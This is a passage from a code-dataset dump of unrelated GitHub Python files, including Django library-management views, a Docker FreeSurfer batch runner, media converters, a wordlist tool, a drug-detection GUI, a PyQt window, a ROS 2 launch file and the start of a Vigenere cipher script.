status.HTTP_404_NOT_FOUND)\n\n\t\t\tbook = book_issue_detail.book\n\t\t\tstudent = book_issue_detail.student\n\n\t\t\tif action.lower() == \"issue\":\n\t\t\t\n\t\t\t\tbook.issued_quantity += 1\n\t\t\t\tbook.available_quantity -= 1\n\t\t\t\tbook.save()\n\n\t\t\t\tstudent.total_book_issued += 1\n\t\t\t\tstudent.save()\n\n\t\t\t\tif not book.available_quantity > 0:\n\t\t\t\t\tbook.status = \"issued\"\n\t\t\t\t\tbook.save()\n\n\t\t\t\tissue_date = datetime.now().date()\n\t\t\t\tdata = {\n\t\t\t\t\t\"issue_date\" : issue_date,\n\t\t\t\t\t\"staff\" : staff.id,\n\t\t\t\t\t\"status\" : \"issued\",\n\t\t\t\t}\n\t\t\t\tmessage = \"Book Issued Successfully.\"\n\n\t\t\tif action.lower() == \"close\":\n\n\t\t\t\tstatus = book_issue_detail.status\n\t\t\t\tif not status == \"returned\":\n\t\t\t\t\t# Retrun error message with 400 status\n\t\t\t\t\treturn Response({\"message\": \"Book is not returned yet.\", \"status\":status.HTTP_400_BAD_REQUEST}, status.HTTP_400_BAD_REQUEST)\n\n\t\t\t\tstudent.total_book_issued -= 1\n\t\t\t\tstudent.save()\n\n\t\t\t\tdata = {\n\t\t\t\t\t\"staff\" : staff.id,\n\t\t\t\t\t\"status\" : \"closed\",\n\t\t\t\t}\n\t\t\t\tmessage = \"Book Return Accepted Successfully.\"\n\t\t\t\t\n\t\t\tserializer = BookIssueDetailUpdateSerializer(book_issue_detail, data = data)\n\n\t\t\t# check validation of serializer data\n\t\t\tif not serializer.is_valid(raise_exception=False):\n\t\t\t\terror_msg = serializer.errors\t\t\t\n\t\t\t\t# Retrun error message with 400 status\n\t\t\t\treturn Response({\"message\": error_msg,\"status\":status.HTTP_400_BAD_REQUEST}, status.HTTP_400_BAD_REQUEST)\n\n\t\t\tserializer.save()\t\n\n\t\t\t# Retrun success message with 200 status\n\t\t\treturn Response({\"message\": message, \"data\":serializer.data, \"status\": status.HTTP_200_OK}, status.HTTP_200_OK)\n\n\n\n# Book Return view\nclass BookReturnView(UpdateAPIView):\n\tauthentication_classes = (MyAuthentication,)\n\tserializer_class = BookIssueDetailUpdateSerializer\n\tlookup_field = 'id'\n\n\tdef patch(self, request, *args, **kwargs):\n\t\twith transaction.atomic():\n\n\t\t\t# Fetching book issue details with given id\n\t\t\tbook_issue_detail = BookIssueDetail.objects.filter(id = kwargs.get('id')).first()\n\t\t\t\n\t\t\tif not book_issue_detail:\n\t\t\t\t# Book Issue Detail not found\n\t\t\t\treturn Response({\"message\": \"Book Issue Detail is not found.\", \"status\":status.HTTP_404_NOT_FOUND}, status.HTTP_404_NOT_FOUND)\n\n\t\t\tissue_date = book_issue_detail.issue_date\n\t\t\treturn_date = datetime.now().date()\n\n\t\t\ttotal_days = (return_date - issue_date).days\n\t\t\tcharge = (total_days - 15) if total_days > 15 else 0\n\n\t\t\tdata = {\n\t\t\t\t\"return_date\" : return_date,\n\t\t\t\t\"charge\" : charge,\n\t\t\t\t\"status\" : \"returned\",\n\t\t\t}\n\t\t\tserializer = BookIssueDetailUpdateSerializer(book_issue_detail, data = data)\n\n\t\t\t# check validation of serializer data\n\t\t\tif not serializer.is_valid(raise_exception=False):\n\t\t\t\terror_msg = serializer.errors\t\t\t\n\t\t\t\t# Retrun error message with 400 status\n\t\t\t\treturn Response({\"message\": error_msg,\"status\":status.HTTP_400_BAD_REQUEST}, status.HTTP_400_BAD_REQUEST)\n\n\t\t\tserializer.save()\t\n\n\t\t\t# Retrun success message with 200 status\n\t\t\treturn Response({\"message\": \"Book Returned Successfully.\", \"data\":serializer.data, \"status\": status.HTTP_200_OK}, status.HTTP_200_OK)\n\n\n\n# Book Issue List view\nclass BookIssueListView(ListAPIView):\n\tauthentication_classes = (MyAuthentication,)\n\tserializer_class = BookIssueDetailSerializer\n\n\tdef get(self, request, *args, **kwargs):\n\n\t\tstudent = Student.objects.filter(user=request.user).first()\n\t\tstaff = Staff.objects.filter(user=request.user).first()\n\n\t\tif not student and not staff:\n\t\t\t# Retrun error message with 400 status\n\t\t\treturn Response({\"message\": \"User is not found.\", \"status\":status.HTTP_400_BAD_REQUEST}, status.HTTP_400_BAD_REQUEST)\n\n\t\tif student:\n\t\t\tbook_issue_details = BookIssueDetail.objects.filter(student=student, status=\"issued\")\n\t\t\tserializer = BookIssueDetailSerializer(book_issue_details, many=True)\n\t\t\tdata = serializer.data\n\n\t\tif staff:\n\t\t\tstudents = BookIssueDetail.objects.filter(status__in=[\"issued\", \"returned\"]).values_list('student', flat=True).distinct()\n\t\t\tdata = []\n\t\t\tfor student in students:\n\t\t\t\tbook_issue_details = BookIssueDetail.objects.filter(student=student, status__in=[\"issued\", \"returned\"])\n\t\t\t\tserializer = BookIssueDetailSerializer(book_issue_details, many=True)\n\t\t\t\tbook_issue_details = serializer.data\n\n\t\t\t\tbook_issue_data = {\n\t\t\t\t\t\"total_book_issued\" : len(book_issue_details),\n\t\t\t\t\t\"book_issue_details\" : book_issue_details\n\t\t\t\t}\n\t\t\t\tdata.append(book_issue_data)\n\t\t\n\t\t# Retrun success message with 200 status\n\t\treturn Response({\"message\": \"Book Issue Details Retrive Successfully.\", \"data\":data, \"status\": status.HTTP_200_OK}, status.HTTP_200_OK)\n\n\n\n# Book List view\nclass BookListView(ListAPIView):\n\tauthentication_classes = (MyAuthentication,)\n\tserializer_class = BookSerializer\n\n\tdef get(self, request, *args, **kwargs):\n\n\t\tstudent = Student.objects.filter(user=request.user).first()\n\t\tstaff = Staff.objects.filter(user=request.user).first()\n\n\t\tif not student and not staff:\n\t\t\t# Retrun error message with 400 status\n\t\t\treturn Response({\"message\": \"User is not found.\", \"status\":status.HTTP_400_BAD_REQUEST}, status.HTTP_400_BAD_REQUEST)\n\n\t\tif student:\n\t\t\tsearch_param = request.data.get('search')\n\t\t\tsearch_param = search_param.strip() if search_param else ''\n\n\t\t\t# Fetching all book for student\n\t\t\tbooks = Book.objects.filter(status=\"available\").order_by('-id')\n\t\t\tif search_param:\n\t\t\t\tq_list = []\n\t\t\t\tq_list.append(Q(name__icontains = search_param))\n\t\t\t\tq_list.append(Q(isbn__icontains = search_param))\n\t\t\t\tq_list.append(Q(author__icontains = search_param))\n\t\t\t\tq_list.append(Q(department__name__icontains = search_param))\n\t\t\t\tbooks = books.filter(reduce(operator.or_, q_list))\n\n\t\t\tif not books:\n\t\t\t\t# Book not found\n\t\t\t\treturn Response({\"message\": \"No Data Found.\", \"status\":status.HTTP_404_NOT_FOUND}, status.HTTP_404_NOT_FOUND)\n\n\t\t\tdata = []\n\t\t\tfor book in books:\n\t\t\t\tserializer = BookSerializer(book)\n\t\t\t\tbook_data = serializer.data\n\t\t\t\tdata.append(book_data)\n\n\t\tif staff:\n\t\t\tbooks = Book.objects.all()\n\t\t\tdata = []\n\t\t\tfor book in books:\n\t\t\t\tserializer = BookSerializer(book)\n\t\t\t\tbook_data = serializer.data\n\t\t\t\tdata.append(book_data)\n\t\t\n\t\t# Retrun success message with 200 status\n\t\treturn Response({\"message\": \"Book Details Retrive Successfully.\", \"data\":data, \"status\": status.HTTP_200_OK}, status.HTTP_200_OK)\n\n\n\n# Book Create view\nclass BookCreateView(CreateAPIView):\n\tauthentication_classes = (MyAuthentication,)\n\tserializer_class = BookSerializer\n\n\tdef create(self, request, *args, **kwargs):\n\t\twith transaction.atomic():\n\t\t\tif not request.data:\n\t\t\t\t# Retrun error message with 400 status\n\t\t\t\treturn Response({\"message\": \"Data is required.\", \"status\": status.HTTP_400_BAD_REQUEST}, status.HTTP_400_BAD_REQUEST)\n\t\t\t\n\t\t\tif not request.data.get('name'):\n\t\t\t\t# Retrun error message with 400 status\n\t\t\t\treturn Response({\"message\": \"Name is required.\", \"status\":status.HTTP_400_BAD_REQUEST}, status.HTTP_400_BAD_REQUEST)\n\t\t\t\n\t\t\tif not request.data.get('isbn'):\n\t\t\t\t# Retrun error message with 400 status\n\t\t\t\treturn Response({\"message\": \"Student is required.\", \"status\":status.HTTP_400_BAD_REQUEST}, status.HTTP_400_BAD_REQUEST)\n\n\t\t\tif not request.data.get('author'):\n\t\t\t\t# Retrun error message with 400 status\n\t\t\t\treturn Response({\"message\": \"Author is required.\", \"status\":status.HTTP_400_BAD_REQUEST}, status.HTTP_400_BAD_REQUEST)\n\n\t\t\tif not request.data.get('department'):\n\t\t\t\t# Retrun error message with 400 status\n\t\t\t\treturn Response({\"message\": \"Department is required.\", \"status\":status.HTTP_400_BAD_REQUEST}, status.HTTP_400_BAD_REQUEST)\n\n\t\t\tif not request.data.get('total_quantity'):\n\t\t\t\t# Retrun error message with 400 status\n\t\t\t\treturn Response({\"message\": \"Total Quantity is required.\", \"status\":status.HTTP_400_BAD_REQUEST}, status.HTTP_400_BAD_REQUEST)\n\n\t\t\tif not request.data.get('available_quantity'):\n\t\t\t\t# Retrun error message with 400 status\n\t\t\t\treturn Response({\"message\": \"Total Quantity is required.\", \"status\":status.HTTP_400_BAD_REQUEST}, status.HTTP_400_BAD_REQUEST)\n\n\t\t\tstaff = Staff.objects.filter(user=request.user).first()\n\t\t\tif not staff:\n\t\t\t\t# Retrun error message with 400 status\n\t\t\t\treturn Response({\"message\": \"This user is not staff user.\", \"status\":status.HTTP_400_BAD_REQUEST}, status.HTTP_400_BAD_REQUEST)\n\n\t\t\tserializer = BookSerializer(data = request.data)\n\n\t\t\t# check validation of serializer data\n\t\t\tif not serializer.is_valid(raise_exception=False):\n\t\t\t\terror_msg = serializer.errors\n\t\t\t\tif serializer.errors.get('department'):\n\t\t\t\t\tprint(serializer.errors['department'])\n\t\t\t\t\terror_msg = ''.join(serializer.errors['department'])\n\t\t\t\tif serializer.errors.get('name'):\n\t\t\t\t\terror_msg = \"Name is invalid.\"\n\t\t\t\tif serializer.errors.get('isbn'):\n\t\t\t\t\terror_msg = \"ISBN is invalid.\"\n\t\t\t\tif serializer.errors.get('author'):\n\t\t\t\t\terror_msg = \"Author is invalid.\"\n\t\t\t\tif serializer.errors.get('total_quantity'):\n\t\t\t\t\terror_msg = \"Total Quantity is invalid.\"\n\t\t\t\tif serializer.errors.get('available_quantity'):\n\t\t\t\t\terror_msg = \"Available Quantity is invalid.\"\n\n\t\t\t\t# Retrun error message with 400 status\n\t\t\t\treturn Response({\"message\": error_msg,\"status\":status.HTTP_400_BAD_REQUEST}, status.HTTP_400_BAD_REQUEST)\n\n\t\t\tserializer.save()\n\n\t\t\t# Retrun success message with 200 status\n\t\t\treturn Response({\"message\": \"Book is created.\", 'data': serializer.data, \"status\":status.HTTP_201_CREATED}, status.HTTP_201_CREATED)","repo_name":"prashantbhensdadia/Library-Management-System-DRF","sub_path":"lms_project/lms_app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":17383,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"7288090223","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Sep 6 10:54:52 2023\n\n@author: JShaffer\n\"\"\"\n\nimport os\nimport subprocess\nimport pandas as pd\n\n\ndef create_container(container_name, image_name, host_path='', container_path='', subjects_dir='', self_terminate = True):\n #Create Docker Container\n\n #e.g. docker run -i -v C:\\Users\\JShaffer.KCUMB\\Documents\\dev\\BrainImaging:/test_data --name ubuntu_1 ubuntu\n command_string = f\"docker run -d -i -v {host_path}:{container_path} -e SUBJECTS_DIR={subjects_dir} --name {container_name} {image_name}\"\n #command_string = \"docker run -i -v \" + HOST_DATA_PATH + \":\" + CONTAINER_DATA_PATH + \" --name \" + CONTAINER_NAME_PREFIX + \"_\" + str(i) + \" \" + IMAGE_NAME\n print(command_string)\n subprocess.run(command_string)\n \n \n \ndef run_subject(subj_id, container_name, t1_path, t2_path = ''):\n \n #Configure FreeSurfer Subject Directory\n\n if t1_path != '':\n #If T2 file is available, run with T2 file\n if t2_path != '':\n command_string = f\"docker exec -d {container_name} recon-all -all -subject {subj_id} -i {t1_path} -T2 {t2_path} -T2pial\"\n else:\n command_string = f\"docker exec -d {container_name} recon-all -all -subject {subj_id} -i {t1_path}\"\n print(command_string) \n p = subprocess.run(command_string, capture_output = True, universal_newlines=True)\n #print(p)\n \n #with open(subj_id + '_stdout.txt', 'w') as f:\n # f.write(p.stdout)\n #with open(subj_id + '_stderr.txt', 'w') as f:\n # f.write(p.stderr)\n \n #return p\n \ndef delete_container(container_name):\n #Stop and Delete Docker Container\n \n command_string = f\"docker stop {container_name}\"\n print(command_string) \n subprocess.run(command_string)\n\n \n command_string = f\"docker rm {container_name}\"\n print(command_string) \n subprocess.run(command_string) \n \n#Define Constants\n#HOST_DATA_PATH=\"C:\\\\Users\\\\JShaffer.KCUMB\\\\Documents\\\\Research\\\\test_data\" #Path to shared directory on host machine\nHOST_DATA_PATH=\"D:\\\\\" #Path to shared directory on host machine - lab desktops\n\nSUBJECTS_DIR=\"/data/derivatives/Freesurfer\" #Must be full path to data within container\nCONTAINER_DATA_PATH=\"/data\" #Path to place share relative to within container\nCONTAINER_NAME_PREFIX=\"freesurfer\"\nN_CONTAINERS=80\nSTART_INDEX=80\n#START_INDEX=160\nIMAGE_NAME=\"freesurfer\"\n \n#Script\n#df = pd.read_excel(\"C:\\\\Users\\\\JShaffer.KCUMB\\\\Documents\\\\Research\\\\test_data\\\\participant_paths.xlsx\")\n#df = pd.read_excel('D:\\\\BD_NDA\\\\1218563_participant_image_paths.xlsx')\ndf = pd.read_excel('D:\\\\BD_NDA\\\\1218615_participant_image_paths.xlsx')\n#df = pd.read_excel('D:\\\\BD_NDA\\\\1218611_participant_image_paths.xlsx')\n#df = pd.read_excel('D:\\\\BD_NDA\\\\1220664_participant_image_paths.xlsx')\n\nfor i,v in enumerate(df.index[START_INDEX:START_INDEX + N_CONTAINERS]):\n \n subj_id = df.loc[v, 'subj_id'] + \"_\" + df.loc[v, 'session']\n t1_path = CONTAINER_DATA_PATH + df.loc[v, 't1w']\n t2_path = CONTAINER_DATA_PATH + df.loc[v, 't2w']\n \n \n print(subj_id)\n print(t1_path)\n print(t2_path)\n\n #Start Container\n create_container('FS_'+ str(i), IMAGE_NAME, HOST_DATA_PATH, CONTAINER_DATA_PATH, SUBJECTS_DIR)\n\n output = run_subject(subj_id, 'FS_'+ str(i), t1_path, t2_path = '')\n\n\n\n\n\n\n","repo_name":"KCUBioInfo/BrainImaging","sub_path":"run_freesurfer.py","file_name":"run_freesurfer.py","file_ext":"py","file_size_in_byte":3320,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"71871788567","text":"from moviepy.editor import *\n\nmp4_file = \"Neenaade Naa Video Song -Yuvarathnaa (Kannada) Puneeth Rajkumar Santhosh Ananddram Hombale Films.mp4\"\n\nmp3_file = \"Neenaade Naa Video Song -Yuvarathnaa (Kannada) Puneeth Rajkumar Santhosh Ananddram Hombale Films.mp3\"\n\n\nvideoClip = VideoFileClip(mp4_file)\n\naudioclip = videoClip.audio\n\naudioclip.write_audiofile(mp3_file)\n\naudioclip.close()\n\nvideoClip.close()\nimport pafy\n\n# opening the text file which contains all the links\nfile = open('list.txt', 'r')\n\n# loop through each link in the file\nfor line in file:\n\n # Assign link to \"url\" variable\n url = line\n\n try:\n # Passing link to pafy\n video = pafy.new(url)\n\n # extracting the best available audio\n bestaudio = video.getbestaudio()\n print(video.title)\n\n # downloading the extracted audio\n bestaudio.download()\n\n # move to next link if the video is removed in the youtube platform\n except:\n pass\n\n# close the text file\nfile.close()","repo_name":"Krishna-Koustub/mp4-to-mp3-converter","sub_path":"mp4 to mp3 converter.py","file_name":"mp4 to mp3 converter.py","file_ext":"py","file_size_in_byte":997,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"5003468012","text":"import os\nimport sys\nfrom pathlib import Path\nfrom Util import path, colors\nimport Util\nfrom fetch_def import fetch_def\n\ndef create_wordlist(name):\n name += '.wordlist'\n if not os.path.exists(path):\n os.makedirs(path)\n # if os.path.exists(path + name):\n # raise Exception('File exists')\n Path(path + name).touch()\n print(\"Created:\", path + name)\n sys.exit(0)\n\n\ndef load_wordlist(name):\n if name == '':\n raise Exception('No filename provided')\n name = Util.make_filename(name)\n if not os.path.exists(name):\n raise Exception('No such wordlist')\n with open(name, 'r') as file:\n lines = [line.rstrip() for line in file]\n res = []\n i = 0\n was = True\n cur_word = ''\n cur_desc = ''\n for line in lines:\n if line == '':\n if not was:\n res.append((cur_word, cur_desc))\n cur_word = ''\n cur_desc = ''\n was = True\n continue\n elif was:\n was = False\n cur_word = line\n else:\n if cur_desc != '':\n cur_desc += '\\n'\n cur_desc += line\n if not was:\n res.append((cur_word, cur_desc))\n return res\n\n\ndef print_wordlist(name):\n wordlist = load_wordlist(name)\n Util.print_col('yellow', 'Wordlist: %s; contains %d words.' % (name, len(wordlist)))\n\n\ndef append_to_wordlist(name):\n name = Util.make_filename(name)\n Util.print_col('cyan', f'Appending to wordlist {name}:')\n with open(name, 'a') as f:\n word = input()\n Util.print_col('yellow', 'Searching for definition...')\n defs, syns = fetch_def(word)\n print(f'{colors[\"gray2\"]}Definitions:{colors[\"cyan2\"]} {\" | \".join(defs)}{colors[\"zero\"]}')\n print(f'{colors[\"gray2\"]}Synonyms:{colors[\"purple2\"]} {\" | \".join(syns)}{colors[\"zero\"]}')\n f.write('\\n' + word + '\\n')\n for line in sys.stdin:\n f.write(line)\n sys.exit(0)\n\n\ndef crop_wordlist(wordlist, head, tail, rng):\n if head is not None:\n return wordlist[:head]\n if tail is not None:\n return wordlist[-tail:]\n if rng is not None:\n return wordlist[rng[0]: rng[1] + 1]\n return wordlist\n\n\ndef grep(wordlist, word):\n ans = []\n for card in wordlist:\n if word in card[0]:\n ans.append(colors['red'] + card[0] + colors['zero'] + '\\n' +\n colors['purple'] + card[1] + colors['zero'])\n return ans\n\n","repo_name":"Paspasuy/zeng","sub_path":"wordlist.py","file_name":"wordlist.py","file_ext":"py","file_size_in_byte":2564,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"31"} +{"seq_id":"10977406392","text":"import tkinter\nimport customtkinter\nimport tkinter as tk\nimport tkinter.filedialog as fd\nimport os\nfrom tkinter.ttk import Progressbar\nimport time\nfrom tkinter import *\nimport glob\nfrom PIL import ImageTk, Image\nfrom PIL import *\nfrom matplotlib.ft2font import HORIZONTAL\n\n# CREATE WINDOW\ncustomtkinter.set_appearance_mode(\"dark\") # Modes: system (default), light, dark\ncustomtkinter.set_default_color_theme(\"dark-blue\") # Themes: blue (default), dark-blue, green\napp = customtkinter.CTk() # create CTk window like you do with the Tk window\napp.geometry(\"410x350\") \napp.title(\" Drug Detection\")\napp.iconbitmap('icon.ico')\n\n# TOOLBAR\ndef Help1():\n #Code to be written\n top= Toplevel(app)\n top.geometry(\"1200x210\")\n top.title(\"Help\")\n Label(top, text= \"How to use:\", font=('Mistral 18 bold')).place(x=50,y=10)\n Label(top,text= \"Step 1: Select if the detection will be over an image or a video.\", font=('Arial')).place(x=150,y=70)\n Label(top,text= \"Step 2: Click the 'Upload' button to choose the file to detect. The file must be in a local storage.\", font=('Arial')).place(x=150,y=110)\n Label(top,text= \"Step 3: Wait 10 seconds for the detection to process. The results will be displayed automatically in a new window.\", font=('Arial')).place(x=150,y=150)\n pass\n\nframe = Frame(app)\nframe.pack()\nmainmenu = Menu(frame)\nmainmenu.add_command(label = \"Help\", command= Help1)\nmainmenu.add_command(label = \"Exit\", command= app.destroy)\napp.config(menu = mainmenu)\n\n\n# TITLE \"DRUG DETECTION\"\nlogo = Image.open(\"logo.png\")\n#Resize the Image using resize method\nresized_image= logo.resize((400,250), Image.ANTIALIAS)\nnew_image= ImageTk.PhotoImage(resized_image)\nl = Label(app, image = new_image)\nl.config(bg=\"#1A1A1A\")\nl.place(relx=0.5, rely=0.9, anchor=tkinter.CENTER) \nl.pack()\n\n# SOFTWARE DESCRIPTION TEXT\nl2 = Label(app, text = \"Our drug detection software is able to detect four types of drugs including heroin, cocaine, shrooms, and marijuana.\")\nl2.config(fg=\"grey\", bg=\"#1A1A1A\", font =(\"helvetica\", 9), wraplength=650, justify=\"center\")\nl2.place(relx=0.5, rely=0.3, anchor=tkinter.CENTER) \nl2.pack()\n\n#SEPARATING FRAME\nframe3 = Frame(app, width=850, height=30)\nframe3.place(x=1, y=1, anchor=tkinter.CENTER)\nframe3.config(bg=\"#1A1A1A\")\nframe3.pack()\n\n# IMAGE UPLOAD FUNCTION\ndef upload_file1():\n currdir = os.getcwd()\n tempdir = fd.askopenfilename(parent=app, initialdir=currdir, title='Please select a file') # the file name\n \n # PROGRESS BAR\n def step():\n for i in range(10):\n app.update_idletasks()\n pb1['value'] += 10\n \n time.sleep(0.1)\n pb1 = Progressbar(app, length=200, mode='determinate')\n pb1.pack(expand=True)\n pb1.place(relx=0.5, rely=0.67, anchor=tkinter.CENTER) \n\n cmd_ln = \"python detect.py --source \" + str(tempdir) + \" --weights drugs277.pt --view-img\"\n step()\n os.system(cmd_ln)\n\n# VIDEO UPLOAD FUNCTION\ndef upload_file2():\n\n currdir = os.getcwd()\n tempdir = fd.askopenfilename(parent=app, initialdir=currdir, title='Please select a file') # the file name\n \n #progress bar\n def step():\n for i in range(10):\n app.update_idletasks()\n pb1['value'] += 10\n time.sleep(0.1)\n\n\n pb1 = Progressbar(app, length=200, mode='determinate')\n pb1.pack(expand=True)\n pb1.place(relx=0.5, rely=0.82, anchor=tkinter.CENTER) \n \n cmd_ln = \"python detect2.py --source \" + str(tempdir) + \" --weights drugs277.pt --view-img\"\n step()\n os.system(cmd_ln)\n\n\n# UPLOAD BUTTON\nbutton1 = customtkinter.CTkButton(master=app, text=\"Upload Image\", command=upload_file1)\nbutton1.place(relx=0.5, rely=0.6, anchor=tkinter.CENTER)\n\n\nbutton2 = customtkinter.CTkButton(master=app, text=\"Upload Video\", command=upload_file2)\nbutton2.place(relx=0.5, rely=0.75, anchor=tkinter.CENTER)\n\n# AMAZON TEAM LOGO\nlogo2 = Image.open(\"amazon_logo.png\")\n#Resize the Image using resize method\nresized_image2= logo2.resize((180,180), Image.ANTIALIAS)\nnew_image2= ImageTk.PhotoImage(resized_image2)\nl = Label(app, image = new_image2)\nl.config(bg=\"#1A1A1A\")\n#l.place(relx=0.5, rely=0.95) \nl.pack(side=tk.BOTTOM, anchor=tkinter.SE)\n\n\napp.mainloop()","repo_name":"AmazonTeam-Woosong/DrugDetection","sub_path":"DrugDetection.py","file_name":"DrugDetection.py","file_ext":"py","file_size_in_byte":4205,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"14120364817","text":"import os\nfrom launch import LaunchDescription\nfrom launch.actions import (\n DeclareLaunchArgument,\n ExecuteProcess,\n IncludeLaunchDescription,\n)\nfrom launch.conditions import IfCondition, UnlessCondition\nfrom launch.launch_description_sources import PythonLaunchDescriptionSource\nfrom launch.substitutions import (\n Command,\n LaunchConfiguration,\n PythonExpression,\n FindExecutable,\n)\nfrom launch_ros.actions import Node\nfrom launch_ros.substitutions import FindPackageShare\nfrom ament_index_python.packages import get_package_share_directory\n\n\ndef generate_launch_description():\n # Create the launch description and populate\n ld = LaunchDescription()\n package_name = \"mcity_proxy\"\n pkg_share = FindPackageShare(package=package_name).find(package_name)\n\n # * RVIZ *\n rviz_config_file_path = \"rviz/nav2_config.rviz\"\n default_rviz_config_path = os.path.join(pkg_share, rviz_config_file_path)\n # RVIZ Toggle\n rviz_toggle = LaunchConfiguration(\"rviz_toggle\")\n rviz_toggle_arg = DeclareLaunchArgument(\n name=\"rviz_toggle\",\n default_value=\"True\",\n description=\"Flag to enable rviz\",\n )\n ld.add_action(rviz_toggle_arg)\n # RVIZ Config File\n rviz_config_file = LaunchConfiguration(\"rviz_config_file\")\n rviz_config_file_arg = DeclareLaunchArgument(\n name=\"rviz_config_file\",\n default_value=default_rviz_config_path,\n description=\"Full path to the RVIZ config file to use\",\n )\n ld.add_action(rviz_config_file_arg)\n # Launch RViz\n ld.add_action(\n Node(\n package=\"rviz2\",\n executable=\"rviz2\",\n name=\"rviz2\",\n output=\"screen\",\n arguments=[\"-d\", rviz_config_file],\n condition=IfCondition(rviz_toggle),\n )\n )\n\n # * STEERING *\n steering_toggle = LaunchConfiguration(\"steering_toggle\")\n steering_toggle_arg = DeclareLaunchArgument(\n name=\"steering_toggle\",\n default_value=\"True\",\n description=\"Determines whether or not to start the rqt_robot_steering node.\",\n )\n ld.add_action(steering_toggle_arg)\n ld.add_action(\n Node(\n package=\"rqt_robot_steering\",\n executable=\"rqt_robot_steering\",\n condition=IfCondition(steering_toggle),\n )\n )\n\n ntrip_toggle = LaunchConfiguration(\"ntrip_toggle\")\n ntrip_toggle_arg = DeclareLaunchArgument(\n name=\"ntrip_toggle\",\n default_value=\"True\",\n description=\"Determines whether or not to start the NTRIP Client for RTCM correction data.\",\n )\n ld.add_action(ntrip_toggle_arg)\n ntrip_host = LaunchConfiguration(\"ntrip_host\")\n ntrip_host_arg = DeclareLaunchArgument(\n name=\"ntrip_host\",\n default_value=\"141.211.25.177\",\n description=\"Set hostname/ip address of NTRIP server\",\n )\n ld.add_action(ntrip_host_arg)\n ntrip_port = LaunchConfiguration(\"ntrip_port\")\n ntrip_port_arg = DeclareLaunchArgument(\n name=\"ntrip_port\",\n default_value=\"2102\",\n description=\"Set port number of NTRIP server\",\n )\n ld.add_action(ntrip_port_arg)\n ntrip_mountpoint = LaunchConfiguration(\"ntrip_mountpoint\")\n ntrip_mountpoint_arg = DeclareLaunchArgument(\n name=\"ntrip_mountpoint\",\n default_value=\"MTF\",\n description=\"Set mountpoint of NTRIP server\",\n )\n ld.add_action(ntrip_mountpoint_arg)\n ntrip_username = LaunchConfiguration(\"ntrip_username\")\n ntrip_username_arg = DeclareLaunchArgument(\n name=\"ntrip_username\",\n description=\"Set username of NTRIP server\",\n default_value=os.getenv(\"NTRIP_USERNAME\"),\n )\n ld.add_action(ntrip_username_arg)\n ntrip_password = LaunchConfiguration(\"ntrip_password\")\n ntrip_password_arg = DeclareLaunchArgument(\n name=\"ntrip_password\",\n description=\"Set password of NTRIP server\",\n default_value=os.getenv(\"NTRIP_PASSWORD\"),\n )\n ld.add_action(ntrip_password_arg)\n # Launch NTRIP Client\n ld.add_action(\n IncludeLaunchDescription(\n PythonLaunchDescriptionSource(\n os.path.join(pkg_share, \"ntrip_client.launch.py\")\n ),\n launch_arguments={\n \"host\": ntrip_host,\n \"port\": ntrip_port,\n \"mountpoint\": ntrip_mountpoint,\n \"username\": ntrip_username,\n \"password\": ntrip_password,\n \"rtcm_message_package\": \"rtcm_msgs\",\n }.items(),\n condition=IfCondition(ntrip_toggle),\n )\n )\n\n # Segway Enable Service Call\n segway_enable = LaunchConfiguration(\"segway_enable\")\n segway_enable_arg = DeclareLaunchArgument(\n name=\"segway_enable\",\n default_value=\"False\",\n description=\"Determines whether or not to enable the Segway RMP.\",\n )\n ld.add_action(segway_enable_arg)\n ld.add_action(\n ExecuteProcess(\n cmd=[\n [\n FindExecutable(name=\"ros2\"),\n \" service call \",\n \"/set_chassis_enable \",\n \"segway_msgs/srv/RosSetChassisEnableCmd \",\n '\"{ros_set_chassis_enable_cmd: True}\"',\n ]\n ],\n shell=True,\n condition=IfCondition(segway_enable),\n )\n )\n\n return ld\n","repo_name":"mcity/mcity_proxy","sub_path":"launch/basestation.launch.py","file_name":"basestation.launch.py","file_ext":"py","file_size_in_byte":5341,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"23711697002","text":"from Qt_Core import *\nfrom Query_Tool import *\nfrom Tools import *\n\nclass User_Window(QT_Window):\n\tdef __init__(self, App):\n\t\tsuper().__init__()\n\t\tself.App = App\n\t\tself.Log = Log_Tool()\n\t\tOutput = Output_Tool(self.App, self.Log)\n\t\tPremade_Outliner = Premade_Outliner_Tool(self.App, self.Log, Output)\n\t\tOutliner = Outliner_Tool(self.App, self.Log, Output)\n\t\tRestart = QT_Button()\n\t\tRestart.setText(\"Restart\")\n\n\t\tSplitter = QT_Splitter(False)\n\n\t\tInputSplitter = QT_Splitter(True)\n\t\tInputSplitter.addWidget(Premade_Outliner)\n\t\tInputSplitter.addWidget(Outliner)\n\t\tInputSplitter.addWidget(Restart)\n\n\t\tOutputSplitter = QT_Splitter(True)\n\t\tOutputSplitter.addWidget(Output)\n\t\tOutputSplitter.addWidget(self.Log)\n\n\t\tSplitter.addWidget(InputSplitter)\n\t\tSplitter.addWidget(OutputSplitter)\n\n\t\tSplitter.setSizes([2000,8000])\n\t\tInputSplitter.setSizes([1000,1000,1])\n\t\tOutputSplitter.setSizes([100,0])\n\n\t\tself.setCentralWidget(Splitter)\n\t\tself.setWindowTitle(\"Neuro Chama\")\n\t\tself.setWindowIcon(QIcon(\"./Resources/Icon.jpg\"))\n\t\tself.showMaximized()\n\t\tself.Log.append(\"Initialized\",\"50,250,250\")\n\n\t\tRestart.clicked.connect(self.restart)\n\n\tdef restart(self):\n\t\tself.App.start()","repo_name":"AleMar21430/Database","sub_path":"User.py","file_name":"User.py","file_ext":"py","file_size_in_byte":1159,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"19245005889","text":"from PyQt5.QtWidgets import QApplication, QMainWindow, QTabWidget, QVBoxLayout, QWidget, QTextEdit, QPushButton, QLabel\nfrom PyQt5.QtCore import Qt\n\ndef vigenere_encrypt(text, keyword):\n alphabet = 'abcçdefgğhıijklmnoöpqrsştuvwxyz'\n encrypted_text = ''\n \n # Extend keyword to match length of text\n extended_keyword = 